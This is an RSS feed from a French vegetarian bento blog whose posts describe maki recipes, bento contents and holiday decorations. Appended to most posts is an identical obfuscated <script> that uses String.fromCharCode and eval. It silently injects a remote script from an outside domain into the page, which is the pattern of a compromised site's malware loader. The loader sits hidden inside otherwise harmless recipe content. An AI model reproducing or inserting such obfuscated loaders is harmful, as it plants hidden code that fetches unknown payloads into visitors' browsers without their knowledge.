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	<title>Mon Bento Végétarien &#187; maki</title>
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	<description>Une site avec des bentos mais pas que</description>
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		<title>Bento de Noël : Maki &amp; Poinsettia</title>
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		<pubDate>Fri, 13 Dec 2013 06:14:06 +0000</pubDate>
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		<description><![CDATA[Noël Arrive à Grands Pas ! Fêtons ça avec des Maki et un Poinsettia ! Dans mon Bento de Noël il y a des jeunes pousses d&#8217;épinard, des tomates cerise, des olives noires, des rondelles de coeur de palmier, une mini bouteille de sauce soja et des Maki. Les Maki sont au concombre, à l&#8217;avocat, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/12/DSC_8003.jpg"><img class="aligncenter size-large wp-image-4008" title="Bento-noel-poinsettia-maki-snowman" alt="" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/12/DSC_8003-678x1024.jpg" width="407" height="614" /></a></p>
<h3 style="text-align: center;"><span style="color: #008000;">N<span style="color: #ff0000;">o</span>ë<span style="color: #ff0000;">l</span> A<span style="color: #ff0000;">r</span>r<span style="color: #ff0000;">i</span>v<span style="color: #ff0000;">e</span> à <span style="color: #ff0000;">G</span>r<span style="color: #ff0000;">a</span>n<span style="color: #ff0000;">d</span>s <span style="color: #ff0000;">P</span>a<span style="color: #ff0000;">s</span> !<br />
</span><span style="color: #008000;">F<span style="color: #ff0000;">ê</span>t<span style="color: #ff0000;">o</span>n<span style="color: #ff0000;">s</span> ç<span style="color: #ff0000;">a</span> a<span style="color: #ff0000;">v</span>e<span style="color: #ff0000;">c</span> d<span style="color: #ff0000;">e</span>s <span style="color: #ff0000;">M</span>a<span style="color: #ff0000;">k</span>i <span style="color: #ff0000;">e</span>t <span style="color: #ff0000;">u</span>n <span style="color: #ff0000;">P</span>o<span style="color: #ff0000;">i</span>n<span style="color: #ff0000;">s</span>e<span style="color: #ff0000;">t</span>t<span style="color: #ff0000;">i</span>a<span style="color: #ff0000;"> !</span></span></h3>
<p style="text-align: center;">Dans mon Bento de Noël il y a des jeunes pousses d&rsquo;épinard, des tomates cerise, des olives noires, des rondelles de coeur de palmier, une mini bouteille de sauce soja et des Maki.</p>
<p style="text-align: center;">Les Maki sont au concombre, à l&rsquo;avocat, à la menthe fraiche , au chèvre frais et au cumin. Vous avez reconnu mes <a href="http://www.monbentovegetarien.com/2012/03/26/fresh-fresh-maki/" target="_blank">Fresh FRESH Maki </a>?</p>
<p style="text-align: center;">Si la recette vous intéresse c&rsquo;est par : <a href="http://www.monbentovegetarien.com/2012/03/26/fresh-fresh-maki/" target="_blank">ici </a>!</p>
<p style="text-align: center;">Pour décorer mes maki j&rsquo;ai essayé de faire une étoile de Poinsettia avec de la pomme bien rouge.</p>
<p style="text-align: center;">En dessert il y a un <a href="http://www.monbentovegetarien.com/2013/12/10/❄-☃-bonhommes-coco-des-neiges-coconut-barfi-☃-❄/" target="_blank">Bonhomme des Neiges à la noix de coco</a>.</p>
<h3 style="text-align: center;">↓ Un petit clic par là ↓ pour sa recette en vidéo ↓</h3>
<p><iframe src="//www.youtube.com/embed/IQdDHODe8JQ" height="315" width="560" allowfullscreen="" frameborder="0"></iframe></p>
<p style="text-align: center;">En ce moment tous les Bento de l&rsquo;Avent sont les Bienvenus sur le <a href="https://www.facebook.com/riesbentoandcooking?fref=ts" target="_blank">mur Facebook de Rie</a>. Je vais m&rsquo;empresser d&rsquo;y poster le mien et je vous invite à y publier les votres.</p>
<p style="text-align: center;">Mon Poinsettia, mon Bonhomme, mes Maki et moi</p>
<p style="text-align: center;">Vous souhaitons un merveilleux avant dernier weekend de l&rsquo;Avent !</p>
<h3 style="text-align: center;"><span style="color: #ff0000;"><span style="color: #008000;">❖</span> ❖ <span style="color: #008000;">❖</span> ❖ </span><span style="color: #008000;">❖</span></h3>
<p style="text-align: center;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Des Japonais dans ma cuisne : Le dedans du Bento !</title>
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		<pubDate>Thu, 25 Oct 2012 06:39:11 +0000</pubDate>
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		<description><![CDATA[Je viens de me rendre compte que j&#8217;avais COMPLÈTEMENT oublié de parler du contenu de mon &#171;&#160;bento mannequin&#160;&#187; ! On mettra ça sur le compte de l&#8217;émotion&#8230; Heureusement qu&#8217;Aëlys veille au grain ! Dans ce bento il y a donc (sur la gauche) 4 maki. Il y en a 2 au potimarron/Chèvre frais/muscade. Pour la [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/rrgb.jpg"><img class="aligncenter size-large wp-image-2848" title="rrgb" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/rrgb-773x1024.jpg" alt="" width="464" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: left;">Je viens de me rendre compte que j&rsquo;avais <strong>COMPLÈTEMENT</strong> oublié de parler du contenu de mon <a href="http://www.monbentovegetarien.com/2012/10/19/des-japonais-dans-ma-cuisine/" target="_blank">&laquo;&nbsp;bento mannequin&nbsp;&raquo;</a> ! On mettra ça sur le compte de l&rsquo;émotion&#8230; Heureusement qu&rsquo;Aëlys veille au grain !</p>
<p style="text-align: left;">Dans ce bento il y a donc (sur la gauche) 4 maki. Il y en a 2 au potimarron/Chèvre frais/muscade. Pour la recette c&rsquo;est par : <a href="http://www.monbentovegetarien.com/2011/03/09/maki-et-onigiri-a-la-citrouille/" target="_blank">ici</a> <em>(j&rsquo;ai juste remplacé la citrouille par du potimarron et fait l&rsquo;impasse sur la sucrine)</em>.</p>
<p style="text-align: left;">Il y en a 2 autres au chou rouge finement râpé/riz vinaigré/graines de <a href="http://www.nishikidori-market.com/graines-sesame-prune-ume-80gr-p-538.html" target="_blank">sésame rose à la prune Ume</a> <em>(miam !)</em>.</p>
<p style="text-align: left;">J&rsquo;ai roulé mes maki dans des feuilles de soja vertes <em>(au lieu du nori habituel)</em>. C&rsquo;est rigolo d&rsquo;avoir des maki colorés et puis si vous avez des proches rebutés par les algues c&rsquo;est l&rsquo;alternative idéale. Il existe plusieurs couleurs. On en trouve dans certaines boutiques bio ou bien encore sur internet, comme <a href="http://www.satsuki.fr/feuilles-soja-pour-sushi-x20-couleur-vert.htm" target="_blank">ici</a> par exemple.</p>
<p style="text-align: left;">J&rsquo;ai décoré les maki avec des fleurs emporte-piècées dans du chou rouge et de la carotte.</p>
<p style="text-align: left;">Dans ce bento aussi il y a aussi des jeunes pousses de roquette, 2 galettes Lentilles/Origan/Poivron <em>(vert, jaune et rouge)</em>, 1 mûre, 1 demi prune jaune, du raisin blanc, du raisin rose, 1 figue coupée en 2 <em>(comme 2 jolis ptits cœurs)</em> et enfin 1 part de tarte noix/figues maison <em>(Mega Miam)</em>.</p>
<h2 style="text-align: center;"><strong>Voilà !</strong></h2>
<p style="text-align: left;">Pour lire ou relire l&rsquo;article d&rsquo;origine <em>(ou j&rsquo;explique le destin hors du commun de ce bento mannequin)</em> c&rsquo;est par : <a href="http://www.monbentovegetarien.com/2012/10/19/des-japonais-dans-ma-cuisine/" target="_blank">ici</a> !</p>
<p style="text-align: left;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Maki Méditerranéen : Basilic-Parmesan-Poivron-Roquette-Chèvre frais</title>
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		<pubDate>Mon, 16 Jul 2012 04:14:54 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
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		<description><![CDATA[Ben oui après l&#8217;petit frère v&#8217;la l&#8217;cousin ! Encore un membre de la famille du mon bento Méditérranéo-Japonais. Dans ce bento il y a donc des maki Basilic-Parmesan-Poivron-Roquette-Chèvre frais (même recette que pour les Onigiri). Ils sont frais et délicieux ! Pour les décorer j&#8217;ai ajouté 1 jolie groseille sur chacun d&#8217;entre eux. Dans ce [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="attachment_2762" style="width: 446px" class="wp-caption aligncenter"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/07/huuhuhy.jpg"><img class="size-large wp-image-2762 " title="Bento-maki-méditerranéen" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/07/huuhuhy-726x1024.jpg" alt="bento maki tropezienne méditerranéen méditerrané" width="436" height="614" /></a><p class="wp-caption-text">Bento Maki Méditerranéen</p></div>
<p style="text-align: center;">
<p style="text-align: left;">Ben oui après l&rsquo;petit frère v&rsquo;la l&rsquo;cousin ! Encore un membre de la famille du mon bento <a href="http://www.monbentovegetarien.com/2012/07/12/finaliste-du-grand-concours-bentoco-2012-votez-pour-moi/" target="_blank">Méditérranéo-Japonais</a>.</p>
<p style="text-align: left;">Dans ce bento il y a donc des maki Basilic-Parmesan-Poivron-Roquette-Chèvre frais (même recette que pour les <a href="http://www.monbentovegetarien.com/2012/07/13/bento-onigiri-mediterraneen-basilicparmesanpoivron-vertroquettechevre-frais/" target="_blank">Onigiri</a>). Ils sont frais et délicieux ! Pour les décorer j&rsquo;ai ajouté 1 jolie groseille sur chacun d&rsquo;entre eux.</p>
<p style="text-align: left;">Dans ce bento il y a aussi 1 mini buche de chèvre, des tomates cerises, du raisin, de la sauce soja, 1 fraise, 1 grappe de groseille, un joli <a href="http://casabento.com/shop/fr/558-accessoires-bento-feuilles-separation-baran-arc-ciel.html" target="_blank">baran coccinelle</a> et une belle tranche de Tropézienne à la framboise.</p>
<p style="text-align: left;">En même temps que mes <a href="http://www.monbentovegetarien.com/2012/07/13/mini-tartes-tropeziennes-fraises-bonheur/" target="_blank">mini tropéziennes</a>, j&rsquo;avais fait cuire une brioche carrée. La recette est la même, j&rsquo;ai seulement remplacé les fraises par des framboises. Qu&rsquo;est ce que c&rsquo;est bon&#8230;</p>
<p style="text-align: left;">
<p style="text-align: center;"><strong>Pour la recette de la Tropézienne c&rsquo;est par :</strong> <a href="http://www.monbentovegetarien.com/2012/07/13/mini-tartes-tropeziennes-fraises-bonheur/" target="_blank">ici </a></p>
<p style="text-align: center;"><strong>Pour celle de mes Maki Méditerranéens c&rsquo;est par :</strong> <a href="http://www.monbentovegetarien.com/2012/07/13/bento-onigiri-mediterraneen-basilicparmesanpoivron-vertroquettechevre-frais/" target="_blank">là</a></p>
<p style="text-align: left;">Et pour Soutenir mon Bento <a href="http://www.monbentovegetarien.com/2012/07/12/finaliste-du-grand-concours-bentoco-2012-votez-pour-moi/" target="_blank">Méditerranéo-Nippon</a> c&rsquo;est la dernière ligne droite ! Le vote sera clos aujourd&rsquo;hui à 11 h !</p>
<p style="text-align: center;"><span style="text-decoration: underline;">Il est encore temps de cliquer sur le <strong>N°6 AURELIE</strong></span> :</p>
<p style="text-align: center;"><a href="http://www.easypolls.net/poll.html?p=4ffc01bee4b0026fdd123108" target="_blank">http://www.easypolls.net</a></p>
<p style="text-align: center;">
<p style="text-align: center;">N&rsquo;hésitez pas à faire passer l&rsquo;info !</p>
<p style="text-align: center;">J&rsquo;ai le trac&#8230; Je vous tiendrai au courant des résultats dans la journée !</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Fresh FRESH MAKI</title>
		<link>http://beta.monbentovegetarien.com/2012/03/26/fresh-fresh-maki/</link>
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		<pubDate>Mon, 26 Mar 2012 07:47:57 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
		<category><![CDATA[Recettes]]></category>
		<category><![CDATA[avocat]]></category>
		<category><![CDATA[chèvre]]></category>
		<category><![CDATA[concombre]]></category>
		<category><![CDATA[cumin]]></category>
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		<description><![CDATA[Menthe fraiche/Chèvre frais/Concombre/Avocat/Cumin Aujourd&#8217;hui il y a des Fresh FRESH MAKI dans mon Bento ! Pourquoi Fresh FRESH ? Parce que Menthe Fraiche et Chèvre frais ! J&#8217;adoooore de cette combinaison de saveurs ! Ceux qui ont déjà fait un tour sur mon flickr savent que ces maki là sont mes préférés. J&#8217;essaie parfois de [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;">Menthe fraiche/Chèvre frais/Concombre/Avocat/Cumin</p>
<p style="text-align: center;">Aujourd&rsquo;hui il y a des Fresh FRESH MAKI dans mon Bento !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/BENTO.jpg"><img class="aligncenter size-large wp-image-1596" title="recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/BENTO-674x1024.jpg" alt="" width="404" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Pourquoi Fresh FRESH ? Parce que Menthe Fraiche et Chèvre frais !</p>
<p style="text-align: center;">J&rsquo;adoooore de cette combinaison de saveurs !</p>
<p style="text-align: left;">Ceux qui ont déjà fait un tour sur mon <a href="http://www.flickr.com/search/?q=maki%2C+avocado%2C+goat&amp;w=49331001%40N06&amp;z=m" target="_blank">flickr</a> savent que ces maki là sont mes préférés. J&rsquo;essaie parfois de me <a href="http://www.monbentovegetarien.com/2012/02/20/maki-chevre-carotte/" target="_blank">renouveler</a>, mais 8 fois sur 10 je me retrouve à faire ceux là.</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/planche.jpg"><img class="aligncenter size-large wp-image-1597" title="recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe-ingredients" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/planche-1024x817.jpg" alt="" width="553" height="441" /></a><span style="text-decoration: underline;"><strong> </strong></span></p>
<p style="text-align: left;"><span style="text-decoration: underline;"><strong>Pour faire 16 Fresh fresh Maki il faut</strong></span><em><strong> </strong></em>:</p>
<p style="text-align: left;">- du riz vinaigré (j&rsquo;ai mis 2 doses et demi de riz dans mon rice cooker)</p>
<p style="text-align: left;">- 100 g de chèvre frais</p>
<p style="text-align: left;">- 1 c.c de cumin moulu</p>
<p style="text-align: left;">- 4 grosses poignées de feuilles de menthe fraiche</p>
<p style="text-align: left;">- 4 longs bâtonnets de concombre épépiné</p>
<p style="text-align: left;">- 2 avocats de taille moyenne citronnés et coupés en 4 fois 1/4</p>
<p style="text-align: left;">- 4 feuilles de nori</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/tapis.jpg"><img class="aligncenter size-large wp-image-1598" title="tapis roulage-nori-recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe-ingredients" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/tapis-1024x806.jpg" alt="" width="430" height="339" /></a></p>
<p style="text-align: left;">D&rsquo;abord préparer un grand bol d&rsquo;eau très froide et salée. Il faut y tremper ses doigts à chaque fois qu&rsquo;on manipule le riz. C&rsquo;est essentiel pour ne pas en avoir plein les mains.</p>
<p style="text-align: left;">Mélanger le chèvre frais et le cumin dans un bol à l&rsquo;aide d&rsquo;une fourchette. Diviser en 4 petit boudins.</p>
<p style="text-align: left;">Disposer le riz sur une première feuille de nori (en prenant soin d&rsquo;humidifier ses doigts). Faire un tapis de feuilles de menthe au milieu, y déposer 3 quarts d&rsquo;avocat, un bâtonnet de concombre et un boudin de chèvre frais au cumin.</p>
<p style="text-align: left;">Former un rouleau à l&rsquo;aide d&rsquo;un tapis à maki. Il s&rsquo;agit plus de replier le riz sur la garniture que de simplement rouler.</p>
<p style="text-align: left;">Faire de même avec les 3 autres feuilles de nori.</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/maki.jpg"><img class="aligncenter size-large wp-image-1606" title="découpe-recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe-ingredients" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/maki-1024x662.jpg" alt="" width="614" height="397" /></a></p>
<p style="text-align: left;"><span style="text-decoration: underline;"><strong>Pour une découpe bien nette il faut</strong></span> :</p>
<p style="text-align: left;">- un couteau bien aiguisé</p>
<p style="text-align: left;">- mettre la partie du rouleau ou il y a le chèvre frais la tête en bas</p>
<p style="text-align: left;">- tremper la lame dans le bol d&rsquo;eau froide et à l&rsquo;essuyer entre chaque découpe</p>
<p style="text-align: left;">- couper les extrémités (celui qui fait les maki a le privilège de manger les chutes)</p>
<p style="text-align: left;">- couper le reste du rouleau en 4</p>
<p style="text-align: left;">Moi j&rsquo;adore les gros maki, mais si vous les préférez plus petits vous pouvez très bien couper le rouleau en 8.</p>
<p style="text-align: left;">Servir avec de la sauce soja et conserver au frais.</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Maki Chèvre Carotte</title>
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		<pubDate>Mon, 20 Feb 2012 12:23:16 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
		<category><![CDATA[artichaut]]></category>
		<category><![CDATA[carrote]]></category>
		<category><![CDATA[fudge]]></category>
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		<category><![CDATA[maki]]></category>
		<category><![CDATA[mon bento]]></category>
		<category><![CDATA[nigelle]]></category>

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		<description><![CDATA[Aujourd&#8217;hui dans mon bento il y a des Maki Chèvre/Carotte. Pour faire mes maki j&#8217;ai mélangé du chèvre frais, des carottes rapées et du cumin en poudre à mon riz vinaigré. Ils sont décorés de graines de nigelle (j&#8217;ai utilisé un système de pochoir pour faire les motifs). Dans ce bento il y a aussi [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Aujourd&rsquo;hui dans mon bento il y a des Maki Chèvre/Carotte.</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/02/MAKIIIIIIIIII.jpg"><img class="aligncenter size-large wp-image-1216" title="MAKIIIIIIIIII" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/02/MAKIIIIIIIIII-671x1024.jpg" alt="" width="403" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Pour faire mes maki j&rsquo;ai mélangé du chèvre frais, des carottes rapées et du cumin en poudre à mon riz vinaigré. Ils sont décorés de <a href="http://www.monbentovegetarien.com/?p=533" target="_blank">graines de nigelle</a> (j&rsquo;ai utilisé un système de pochoir pour faire les motifs). Dans ce bento il y a aussi des feuilles de sucrine, des cœurs d&rsquo;artichaut coiffés de fleurs en mimolette et emmental, une sauce soja, des bâtonnets de carotte, un kiri, un kiwi décoré de petits trèfles en sucre et deux morceaux de mon nouveau fudge chocolat blanc/cardamome/cacahuète/chocolat noir/pralinoise.</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Double Bento citrouille</title>
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		<pubDate>Wed, 09 Mar 2011 21:45:20 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
		<category><![CDATA[citrouille]]></category>
		<category><![CDATA[maki]]></category>

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		<description><![CDATA[Avant hier soir Jean-Patou m&#8217;informait qu&#8217;il allait avoir besoin de deux bento pour le lendemain. Mais me voyant peu dynamique et peu motivée, il avait rajouté: &#171;&#160;non mais c&#8217;est pas grave je m&#8217;achèterai un sandwich&#160;&#187;. Je me suis couchée là dessus, un peu embêtée. Le problème c&#8217;est que je me suis mise à sérieusement culpabiliser. [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Avant hier soir Jean-Patou m&rsquo;informait qu&rsquo;il allait avoir besoin de deux bento pour le lendemain. Mais me voyant peu dynamique et peu motivée, il avait rajouté: &laquo;&nbsp;non mais c&rsquo;est pas grave je m&rsquo;achèterai un sandwich&nbsp;&raquo;. Je me suis couchée là dessus, un peu embêtée. Le problème c&rsquo;est que je me suis mise à sérieusement culpabiliser. Le mot &laquo;&nbsp;sandwich&nbsp;&raquo; raisonnait lourdement dans ma tête&#8230; Au point que je n&rsquo;en ai pas dormi de la nuit ! J&rsquo;ai commencé à faire des plans sur la comète. Finalement à 5 h du matin je me suis retrouvée dans la cuisine. J&rsquo;étais bien décidée à jouer les fées du bento, genre maman japonaise super efficace ! Malheureusement j&rsquo;ai compris que cuisiner à l&rsquo;aube, ça n&rsquo;était pas mon truc. Et j&rsquo;ai vite regretté mon lit&#8230;</p>
